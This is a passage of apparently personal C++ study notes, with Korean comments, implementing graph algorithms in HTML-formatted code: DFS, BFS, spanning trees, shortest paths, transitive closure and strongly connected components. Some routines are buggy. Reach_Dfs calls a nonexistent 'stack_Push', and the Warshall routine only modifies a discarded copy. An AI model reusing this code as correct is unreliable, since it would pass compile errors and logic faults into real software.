EDGE[m_nCount];<br>&nbsp;int *parent = new int[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) <br>&nbsp;{<br>&nbsp;&nbsp;visited[i] = false;<br>&nbsp;&nbsp;distance[i] = _GetEdgeByIndex(s,i);<br>&nbsp;&nbsp;if (i != s)<br>&nbsp;&nbsp;&nbsp;parent[i] = s;<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;parent[i] = -1;<br>&nbsp;}<br>&nbsp;visited[s] = true;<br>&nbsp;count ++;<br>&nbsp;while (count &lt; m_nCount) <br>&nbsp;{<br>&nbsp;&nbsp;x = 0;<br>&nbsp;&nbsp;while (visited[x]) x++;<br>&nbsp;&nbsp;for (i = x; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;&nbsp;if (!visited[i] &amp;&amp; distance[i] &gt; 0 &amp;&amp; distance[i] &lt; distance[x])<br>&nbsp;&nbsp;&nbsp;&nbsp;x = i;<br>&nbsp;&nbsp;visited[x] = true;<br>&nbsp;&nbsp;count ++;<br>&nbsp;&nbsp;for (y = 0; y &lt; m_nCount; y++) <br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;if (x == y || _GetEdgeByIndex(x, y) == 0 || visited[y]) continue;<br>&nbsp;&nbsp;&nbsp;// y는 방문하지 않은 (x,y)간선이 존재하는 정점<br>&nbsp;&nbsp;&nbsp;EDGE d = distance[x] + _GetEdgeByIndex(x, y);<br>&nbsp;&nbsp;&nbsp;if (distance[y] == 0 || d &lt; distance[y]) {<br>&nbsp;&nbsp;&nbsp;&nbsp;distance[y] = d; <br>&nbsp;&nbsp;&nbsp;&nbsp;parent[y] = x;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;// visit edge<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;if (parent[i] &gt;= 0) VisitEdge(m_pVertices[parent[i]], m_pVertices[i]);<br>&nbsp;delete[] visited;<br>&nbsp;delete[] distance;<br>&nbsp;delete[] parent;<br>}<br>class ACharGraph : public ArrayGraph&lt;char&gt;<br>{<br>public:<br>&nbsp;ACharGraph(int nSize=100) : ArrayGraph&lt;char&gt;(nSize){}<br>&nbsp;void Visit(const char&amp; v) { printf("%c",v); }<br>&nbsp;void VisitEdge(const char&amp; v1, const char&amp; v2) { printf("%c--&gt;%c\n",v1,v2); }<br>};</p><p><br>/*<br>&nbsp;인접리스트법 Adjacency List</p><p>*/<br>template &lt;class V&gt; class ListGraph<br>{<br>public:<br>&nbsp;ListGraph(const ListGraph&lt;V&gt;* g);<br>&nbsp;ListGraph(int nSize = 100);<br>&nbsp;~ListGraph();<br>&nbsp;//utilities<br>&nbsp;bool AddEdge(const V&amp; v1, const V&amp; v2, EDGE w);<br>&nbsp;bool AddEdgeDir(const V&amp; v1, const V&amp; v2, EDGE w);<br>&nbsp;EDGE GetEdge(const V&amp; v1, const V&amp; v2);<br>&nbsp;bool SetEdge(const V&amp; v1, const V&amp; v2, EDGE w);<br>&nbsp;// virtual function<br>&nbsp;virtual void Visit(const V&amp; v) {}<br>&nbsp;virtual void VisitEdge(const V&amp; v1, const V&amp; v2) {}<br>&nbsp;//operations<br>&nbsp;void DFS();<br>&nbsp;void DFS_nr();<br>&nbsp;void BFS();<br>&nbsp;long CountComponents();<br>&nbsp;void FindAP(SingleList&lt;V&gt;&amp; aplist);<br>&nbsp;EDGE MCST_Pfs(); <br>&nbsp;EDGE MCST_Kruskal();<br>&nbsp;void ShortestPath_Pfs(const V&amp; start);<br>&nbsp;void Reach_Dfs(const V&amp; start);<br>&nbsp;bool IsReachable(const V&amp; strat, const V&amp; end);<br>&nbsp;void TransitiveClosure_Warshall();<br>&nbsp;void StrongConnect();<br>&nbsp;void TopologicalSort();<br>&nbsp;void RevTopologicalSort();<br>&nbsp;void CriticalActivity();<br>protected:<br>&nbsp;struct Adj {<br>&nbsp;&nbsp;V vertex; <br>&nbsp;&nbsp;EDGE weight;<br>&nbsp;&nbsp;bool operator==(const Adj&amp; n) const<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;return vertex == n.vertex;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;Adj(const V&amp; v, EDGE w =1)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;vertex = v; weight = w;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;Adj() {}<br>&nbsp;};<br>&nbsp;struct Item {<br>&nbsp;&nbsp;V vertex;<br>&nbsp;&nbsp;DoubleList&lt;Adj&gt; list;<br>&nbsp;};<br>&nbsp;long _FindVertex(const V&amp; v);<br>&nbsp;long _AddVertex(const V&amp; v);<br>&nbsp;void _DFS(long i, RBTreeMap&lt;V&gt;&amp; checkmap);<br>&nbsp;int&nbsp;_StrongConnect(long i, long order, long* porder, ListStack&lt;long&gt;&amp; stack);<br>&nbsp;void _CriticalActivity_backward(int *latest, int initial);<br>&nbsp;void _CriticalActivity_forward(int *earliest);<br>&nbsp;Item *m_pVertices;<br>&nbsp;long m_nSize;<br>&nbsp;long m_nCount;<br>};<br>template &lt;class V&gt;<br>ListGraph&lt;V&gt;::ListGraph(const ListGraph&lt;V&gt;* g)<br>{<br>&nbsp;m_pVertices = new Item[g-&gt;m_nSize];<br>&nbsp;m_nSize = g-&gt;m_nSize;<br>&nbsp;m_nCount = g-&gt;m_nCount;<br>&nbsp;for(int i = 0; i &lt; g-&gt;m_nCount; i++)<br>&nbsp;{<br>&nbsp;&nbsp;m_pVertices[i].vertex = g-&gt;m_pVertices[i].vertex;<br>&nbsp;&nbsp;POS pos = g-&gt;m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;while (g-&gt;m_pVertices[i].list.GetNext(pos,adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;m_pVertices[i].list.InsertTail(adj);<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;<br>&nbsp;}<br>}<br>template &lt;class V&gt;<br>ListGraph&lt;V&gt;::ListGraph(int nSize)<br>{<br>&nbsp;m_pVertices = new Item[nSize];<br>&nbsp;m_nSize = nSize;<br>&nbsp;m_nCount = 0;<br>}<br>template &lt;class V&gt;<br>ListGraph&lt;V&gt;::~ListGraph()<br>{<br>&nbsp;delete[] m_pVertices;<br>}<br>template &lt;class V&gt; long<br>ListGraph&lt;V&gt;::_FindVertex(const V&amp; v)<br>{<br>&nbsp;for (long i = 0; i &lt; m_nCount; i++)<br>&nbsp;{<br>&nbsp;&nbsp;if(m_pVertices[i].vertex == v) <br>&nbsp;&nbsp;&nbsp;return i;<br>&nbsp;}<br>&nbsp;return -1;<br>}<br>template &lt;class V&gt; long<br>ListGraph&lt;V&gt;::_AddVertex(const V&amp; v)<br>{<br>&nbsp;if(m_nCount &gt;= m_nSize)<br>&nbsp;&nbsp;return -1;<br>&nbsp;m_pVertices[m_nCount].vertex = v;<br>&nbsp;return m_nCount++;<br>}<br>template &lt;class V&gt; bool<br>ListGraph&lt;V&gt;::AddEdge(const V&amp; v1, const V&amp; v2, EDGE w)<br>{<br>&nbsp;long iv1, iv2;<br>&nbsp;iv1 = _FindVertex(v1);<br>&nbsp;if(iv1 &lt;0) iv1 = _AddVertex(v1);<br>&nbsp;if(iv1 &lt;0) return false;</p><p>&nbsp;iv2 = _FindVertex(v2);<br>&nbsp;if(iv2 &lt;0) iv2 = _AddVertex(v2);<br>&nbsp;if(iv2 &lt;0) return false;</p><p>&nbsp;m_pVertices[iv1].list.InsertHead(Adj(v2,w));<br>&nbsp;m_pVertices[iv2].list.InsertHead(Adj(v1,w));<br>&nbsp;<br>&nbsp;return true;<br>}<br>template &lt;class V&gt; bool<br>ListGraph&lt;V&gt;::AddEdgeDir(const V&amp; v1, const V&amp; v2, EDGE w)<br>{<br>&nbsp;long iv1, iv2;<br>&nbsp;iv1 = _FindVertex(v1);<br>&nbsp;if(iv1 &lt;0) iv1 = _AddVertex(v1);<br>&nbsp;if(iv1 &lt;0) return false;</p><p>&nbsp;iv2 = _FindVertex(v2);<br>&nbsp;if(iv2 &lt;0) iv2 = _AddVertex(v2);<br>&nbsp;if(iv2 &lt;0) return false;</p><p>&nbsp;m_pVertices[iv1].list.InsertHead(Adj(v2,w));<br>//&nbsp;m_pVertices[iv2].list.InsertHead(Adj(v1,w));<br>&nbsp;<br>&nbsp;return true;<br>}<br>/*<br>&nbsp;깊이우선탐색(DFS)<br>&nbsp;정점 v의 방문하지 않은 인접 정점에 대해 재귀적으로 방문하기<br>&nbsp;재귀호출은 Stack을 이용해서 비재귀호출로 바꿀 수 있음<br>*/<br>template &lt;class V&gt; void<br>ListGraph&lt;V&gt;::DFS()<br>{<br>&nbsp;RBTreeMap&lt;V&gt; checkmap;<br>&nbsp;V v;<br>&nbsp;for(long i=0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;if(!checkmap.Find(m_pVertices[i].vertex,v)) _DFS(i,checkmap);<br>}<br>template &lt;class V&gt; void<br>ListGraph&lt;V&gt;::_DFS(long i, RBTreeMap&lt;V&gt;&amp; checkmap)<br>{<br>&nbsp;V v;<br>&nbsp;checkmap.Insert(m_pVertices[i].vertex);<br>&nbsp;Visit(m_pVertices[i].vertex);<br>&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;Adj adj;<br>&nbsp;while(m_pVertices[i].list.GetNext(pos,adj))<br>&nbsp;{<br>&nbsp;&nbsp;if(!checkmap.Find(adj.vertex,v)) {<br>&nbsp;&nbsp;&nbsp;_DFS(_FindVertex(adj.vertex),checkmap);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}<br>template &lt;class V&gt; void<br>ListGraph&lt;V&gt;::DFS_nr()<br>{<br>&nbsp;RBTreeMap&lt;V&gt; checkmap;<br>&nbsp;ListStack&lt;long&gt; stack;<br>&nbsp;V v;<br>&nbsp;for(long i=0; i&lt;m_nCount;i++)<br>&nbsp;{<br>&nbsp;&nbsp;if(!checkmap.Find(m_pVertices[i].vertex,v))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;stack.Push(i);<br>&nbsp;&nbsp;&nbsp;checkmap.Insert(m_pVertices[i].vertex);<br>&nbsp;&nbsp;&nbsp;while(!stack.IsEmpty()) {<br>&nbsp;&nbsp;&nbsp;&nbsp;i = stack.Pop();<br>&nbsp;&nbsp;&nbsp;&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;&nbsp;&nbsp;Visit(m_pVertices[i].vertex);<br>&nbsp;&nbsp;&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;&nbsp;&nbsp;while(m_pVertices[i].list.GetNext(pos,adj))<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!checkmap.Find(adj.vertex,v)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stack.Push(_FindVertex(adj.vertex));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;checkmap.Insert(adj.vertex);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>}<br>template &lt;class V&gt;<br>long ListGraph&lt;V&gt;::CountComponents()<br>{<br>&nbsp;RBTreeMap&lt;V&gt; checkmap;<br>&nbsp;ListStack&lt;long&gt; stack;<br>&nbsp;long count=0;<br>&nbsp;V v;<br>&nbsp;for(long i=0; i&lt;m_nCount;i++)<br>&nbsp;{<br>&nbsp;&nbsp;if(!checkmap.Find(m_pVertices[i].vertex,v))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;count ++;<br>&nbsp;&nbsp;&nbsp;stack.Push(i);<br>&nbsp;&nbsp;&nbsp;checkmap.Insert(m_pVertices[i].vertex);<br>&nbsp;&nbsp;&nbsp;while(!stack.IsEmpty()) {<br>&nbsp;&nbsp;&nbsp;&nbsp;i = stack.Pop();<br>&nbsp;&nbsp;&nbsp;&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;&nbsp;&nbsp;while(m_pVertices[i].list.GetNext(pos,adj))<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!checkmap.Find(adj.vertex,v)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;stack.Push(_FindVertex(adj.vertex));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;checkmap.Insert(adj.vertex);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}&nbsp;<br>&nbsp;return count;<br>}</p><p>template &lt;class V&gt; EDGE <br>ListGraph&lt;V&gt;::MCST_Pfs()<br>{<br>&nbsp;long i, j;<br>&nbsp;EdgeHeap&lt;char&gt; pq;<br>&nbsp;EdgeHeap&lt;char&gt;::Pair p;<br>&nbsp;EDGE sum = 0;<br>&nbsp;bool *visited = new bool[m_nCount];<br>&nbsp;for(i = 0; i &lt; m_nCount; i++) visited[i] = false;</p><p>&nbsp;for(i = 0; i &lt; m_nCount; i++) <br>&nbsp;{<br>&nbsp;&nbsp;if(!visited[i]) <br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;pq.Insert(m_pVertices[i].vertex, m_pVertices[i].vertex, 0);<br>&nbsp;&nbsp;&nbsp;visited[i] = true;<br>&nbsp;&nbsp;&nbsp;while (!pq.IsEmpty()) <br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;p = pq.Extract();<br>&nbsp;&nbsp;&nbsp;&nbsp;if(p.v1 != p.v2) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;VisitEdge(p.v1, p.v2);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sum += -p.w;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;j = _FindVertex(p.v2);<br>&nbsp;&nbsp;&nbsp;&nbsp;POS pos = m_pVertices[j].list.GetHeadPos();<br>&nbsp;&nbsp;&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;&nbsp;&nbsp;while(m_pVertices[j].list.GetNext(pos,adj))<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!visited[k]) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ //방문하지 않은 정점들에 대해서<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pq.Insert(m_pVertices[j].vertex, adj.vertex, -adj.weight);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;visited[k] = true;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else { // 방문한 정점들에 대해서.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pq.Update(m_pVertices[j].vertex, adj.vertex, -adj.weight);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] visited;<br>&nbsp;return sum;<br>}<br>/*<br>&nbsp;최소비용신장트리 (Minimum Cost Spanning Tree)<br>&nbsp;-유일한 해답이 있는게 아님<br>&nbsp;-알려진 알고리즘들<br>&nbsp;&nbsp; *우선순위탐색, Kruskal, Sollin, Prim ...<br>&nbsp;-응용예<br>&nbsp;&nbsp; *최소의 비용으로 모든 정점을 연결하는 방법<br>&nbsp;&nbsp; *최소의 비용으로 컴퓨터 네트웍 구성<br>&nbsp;&nbsp; *최소의 비용으로 모든 도시를 연결하는 항공로 구성</p><p>&nbsp;우선순위탐색 Priority First Search<br>&nbsp;-우선순위를 기준으로 탐색하는 방법<br>&nbsp;-DFS vs BFS vs PFS</p><p><br>*/<br>template &lt;class V&gt;<br>EDGE ListGraph&lt;V&gt;::MCST_Kruskal()<br>{<br>&nbsp;EdgeHeap&lt;char&gt; pq;<br>&nbsp;Set&lt;char&gt; set;<br>&nbsp;int i; <br>&nbsp;EDGE sum = 0;<br>&nbsp;int nEdge = 0;<br>&nbsp;//insert all edges to heap<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) {<br>&nbsp;&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;while(m_pVertices[i].list.GetNext(pos,adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;if(_FindVertex(adj.vertex) &gt; i) //간선의 중복을 피하기 위해<br>&nbsp;&nbsp;&nbsp;&nbsp;pq.Insert(m_pVertices[i].vertex, adj.vertex, -adj.weight);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;while (!pq.IsEmpty() &amp;&amp; nEdge &lt; m_nCount -1) <br>&nbsp;{<br>&nbsp;&nbsp;// MCST의 간선수는 정점수 -1<br>&nbsp;&nbsp;EdgeHeap&lt;char&gt;::Pair p = pq.Extract();<br>&nbsp;&nbsp;int i1 = set.Find(p.v1);<br>&nbsp;&nbsp;if (i1 &lt; 0) i1 = set.AddSet(p.v1);<br>&nbsp;&nbsp;int i2 = set.Find(p.v2);<br>&nbsp;&nbsp;if (i2 &lt; 0) i2 = set.AddSet(p.v2);<br>&nbsp;&nbsp;if (i1 &gt;= 0 &amp;&amp; i2 &gt;= 0 &amp;&amp; i1 != i2)&nbsp; //회로가 아니면<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;VisitEdge(p.v1,p.v2);<br>&nbsp;&nbsp;&nbsp;nEdge++;<br>&nbsp;&nbsp;&nbsp;sum += -p.w;<br>&nbsp;&nbsp;&nbsp;set.UnionByIndex(i1,i2);<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;return sum;<br>}</p><p>/*<br>&nbsp;최단경로찾기 문제 <br>&nbsp; -시작정점으로 부터 다른 정점에 이르는 최소비용의 간선집합을 찾아라!<br>&nbsp; -최단경로트리가 얻어짐<br>&nbsp;A* 이라는 알고리즘이 실전에서 쓰임<br>&nbsp;(위치 가중치를 주어 거대한 그래프에서 사용)<br>*/<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::ShortestPath_Pfs(const V&amp; start)<br>{<br>&nbsp;long i, j;<br>&nbsp;EdgeHeap&lt;char&gt; pq;<br>&nbsp;EdgeHeap&lt;char&gt;::Pair p;<br>&nbsp;bool *visited = new bool[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) visited[i] = false;<br>&nbsp;i = _FindVertex(start);<br>&nbsp;if (i &lt; 0) return;<br>&nbsp;pq.Insert(m_pVertices[i].vertex, m_pVertices[i].vertex, 0);<br>&nbsp;visited[i] = true;<br>&nbsp;while (!pq.IsEmpty()) <br>&nbsp;{<br>&nbsp;&nbsp;p = pq.Extract();<br>&nbsp;&nbsp;if (p.v1 != p.v2) <br>&nbsp;&nbsp;&nbsp;VisitEdge(p.v1,p.v2);<br>&nbsp;&nbsp;j = _FindVertex(p.v2);<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;POS pos = m_pVertices[j].list.GetHeadPos();<br>&nbsp;&nbsp;while (m_pVertices[j].list.GetNext(pos,adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;if (!visited[k]) {//방문하지 않은 정점들에 대해서<br>&nbsp;&nbsp;&nbsp;&nbsp;pq.Insert(m_pVertices[j].vertex, adj.vertex, p.w - adj.weight);<br>&nbsp;&nbsp;&nbsp;&nbsp;visited[k] = true;<br>&nbsp;&nbsp;&nbsp;} else { // 방문하지 않은 정점들에 대해서<br>&nbsp;&nbsp;&nbsp;&nbsp;pq.Update(m_pVertices[j].vertex, adj.vertex, p.w - adj.weight);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;<br>&nbsp;}<br>}</p><p>/*<br>&nbsp;Dijkstra 알고리즘<br>&nbsp;-시작점을 제외한 다른 정점이 모두 시작점을 가리킨다고 가정<br>&nbsp;-연결되어 있지 않은 정점은 무한대의 비용임<br>&nbsp;-A-C간선의 비용이 A-B,B-C간선 비용보다 크다면<br>&nbsp; C는 B를 가리키도록 한다.</p><p>*/</p><p>/*<br>&nbsp;도달 가능성 문제 Reachability<br>*/<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::Reach_Dfs(const V&amp; start)<br>{<br>&nbsp;long i, j;<br>&nbsp;ListStack&lt;long&gt; stack;<br>&nbsp;bool *visited = new bool[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++)<br>&nbsp;&nbsp;visited[i] = false;<br>&nbsp;i = _FindVertex(start);<br>&nbsp;if (i &lt; 0) return;<br>&nbsp;stack_Push(i);<br>&nbsp;visited[i] = true;<br>&nbsp;while (!stack.IsEmpty()) <br>&nbsp;{<br>&nbsp;&nbsp;j = stack.Pop();<br>&nbsp;&nbsp;Visit(m_pVertices[j].vertex);<br>&nbsp;&nbsp;POS pos = m_pVertices[j].list.GetHeadPos();<br>&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;while (m_pVertices[j].list.GetNext(pos,adj))<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;&nbsp;if (!visited[k])<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;stack.Push(k);<br>&nbsp;&nbsp;&nbsp;&nbsp;visited[k] = true;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;delete[] visited;<br>}</p><p><br>/*<br>&nbsp;Transitive Closure 이행적 폐쇄<br>&nbsp;Warshall알고리즘<br>&nbsp;&nbsp; A-&gt;B와 B-&gt;를 만족하는 경로가 있으면 A-&gt;C로 가는 경로도 존재한다.<br>&nbsp;&nbsp; 자기자신으로 가는 경로는 있다고 가정. 즉 A-&gt;A<br>&nbsp;&nbsp; Warshall(Graph g)<br>&nbsp;&nbsp; {<br>&nbsp;&nbsp;for (x = all vertices) {<br>&nbsp;&nbsp;&nbsp;for (y = all vertices) {<br>&nbsp;&nbsp;&nbsp;&nbsp;if (x-&gt;y is reachable) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (z = all vertices) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (y-&gt;z is reachable)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x-&gt;z is reachable;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp; }<br>*/<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::TransitiveClosure_Warshall()<br>{<br>&nbsp;//graph 복사<br>&nbsp;ListGraph&lt;V&gt; g(this);<br>&nbsp;int x, y, z;<br>&nbsp;Adj adj1, adj2, adj3;</p><p>&nbsp;for (x = 0; x &lt; g.m_nCount; x++) {<br>&nbsp;&nbsp;for (y = 0; y &lt; g.m_nCount; y++) {<br>&nbsp;&nbsp;&nbsp;Adj adj;<br>&nbsp;&nbsp;&nbsp;if(g.m_pVertices[x].list.Find(g.m_pVertices[y].vertex,adj1)) <br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;for (z = 0; z &lt; g.m_nCount; z++) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(g.m_pVertices[y].list.Find(g.m_pVertices[z].vertex,adj2))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//x-&gt;z is reachable<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;if(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;m_pVertices[x].list.InsertHead(Adj(z,w1+w2));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(g.m_pVertices[x].list.Find(g.m_pVertices[z].vertex,adj3))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (adj3.weight &gt; adj1.weight + adj2.weight)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;adj3.weight = adj1.weight + adj2.weight;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;g.m_pVertices[x].list.InsertHead(Adj(g.m_pVertices[z].vertex,adj1.weight+adj2.weight));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}</p><p>&nbsp;for (x = 0; x &lt; g.m_nCount; x++)<br>&nbsp;&nbsp;g.m_pVertices[x].list.InsertHead(Adj(m_pVertices[x].vertex,1));</p><p>}</p><p>/*<br>&nbsp;강한결합요소<br>&nbsp; -정점 A에서 B로 가는 방향성 경로도 존재하고, B에서 A로가는 장향성경로도 존재<br>&nbsp; -강한결합요소는 정점하나를 제거해도 연결은 유지된다. <br>&nbsp;&nbsp; VS 이중연결(Biconnectivity)<br>&nbsp;강한결합요소 찾기</p><p>*/<br>template &lt;class V&gt;<br>void ListGraph&lt;V&gt;::StrongConnect()<br>{<br>&nbsp;int i;<br>&nbsp;ListStack&lt;long&gt; stack;<br>&nbsp;long *porder = new long[m_nCount];<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) porder[i] = 0;<br>&nbsp;for (i = 0; i &lt; m_nCount; i++) <br>&nbsp;&nbsp;if (porder[i] == 0)<br>&nbsp;&nbsp;&nbsp;_StrongConnect(i, 0, porder, stack);<br>&nbsp;delete[] porder;<br>}<br>/*<br>&nbsp;FindAP와 유사한 구조<br>*/<br>template &lt;class V&gt;<br>int ListGraph&lt;V&gt;::_StrongConnect(long i, long order, long* porder, ListStack&lt;long&gt;&amp; stack)<br>{<br>&nbsp;int m, min, k;<br>&nbsp;bool cycle;<br>&nbsp;porder[i] = min = ++order;<br>&nbsp;stack.Push(i);<br>&nbsp;POS pos = m_pVertices[i].list.GetHeadPos();<br>&nbsp;Adj adj;<br>&nbsp;m_pVertices[i].list.GetAt(pos,adj);<br>&nbsp;while (!m_pVertices[i].list.IsTail(pos))<br>&nbsp;{<br>&nbsp;&nbsp;k = _FindVertex(adj.vertex);<br>&nbsp;&nbsp;if (porder[k] == 0) //방문하지 않은 정점이면<br>&nbsp;&nbsp;&nbsp;m = _StrongConnect(k, order, porder, stack);<br>&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;m = porder[k];<br>&nbsp;&nbsp;if (m &lt; min) min = m;<br>&nbsp;&nbsp;m_pVertices[i].list.GetNext(pos,adj);<br>&nbsp;}<br>&nbsp;if (min == porder[i]) //자기자신을 가리키면<br>&nbsp;{<br>&nbsp;&nbsp;cycle = false;<br>&nbsp;&nbsp;while ((k = stack.Pop()) != i) {<br>&nbsp;&nbsp;&nbsp;Visit(m_pVertices[k].vertex);<br>&nbsp;&nbsp;&nbsp;porder[k] = m_nCount + 1; //다시는 출력되지 않도록 체크<br>&nbsp;&nbsp;&nbsp;cycle = true;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;if (cycle) Visit(m_pVertices[k].vertex);<br>&nbsp;&nbsp;//여기까지가 한묶음. 정점 하나만 출력되는 걸 막음<br>&nbsp;} <br>&nbsp;return min;<br>}</p><p>/*<br>&nbsp;비순환방향그래프 Directed Acyclic Graph<br>&nbsp;<br>&nbsp;&nbsp; 여러 공정으로 이루어지는 작업을 모델링하는데 주로 사용함<br>&nbsp;&nbsp; ( 집짓기 )<br>&nbsp;&nbsp; AOV Network ( Activity On Vertex Network )<br>&nbsp;&nbsp; 공정모델링은 건축/토목분야에 많이 연구됩</p><p>&nbsp;<br>*/<br>/*<br>&nbsp;위상정렬 개념<br>&nbsp;<br>&nbsp;&nbsp; 위상정렬 ( Topological Sort )<br>&nbsp;&nbsp;&nbsp; -DAG 정점의 일련순서를 구하는 것<br>&nbsp;&nbsp;&nbsp; -ex) 집짓기를 혼자 한다면 어떤 순서로 일해야 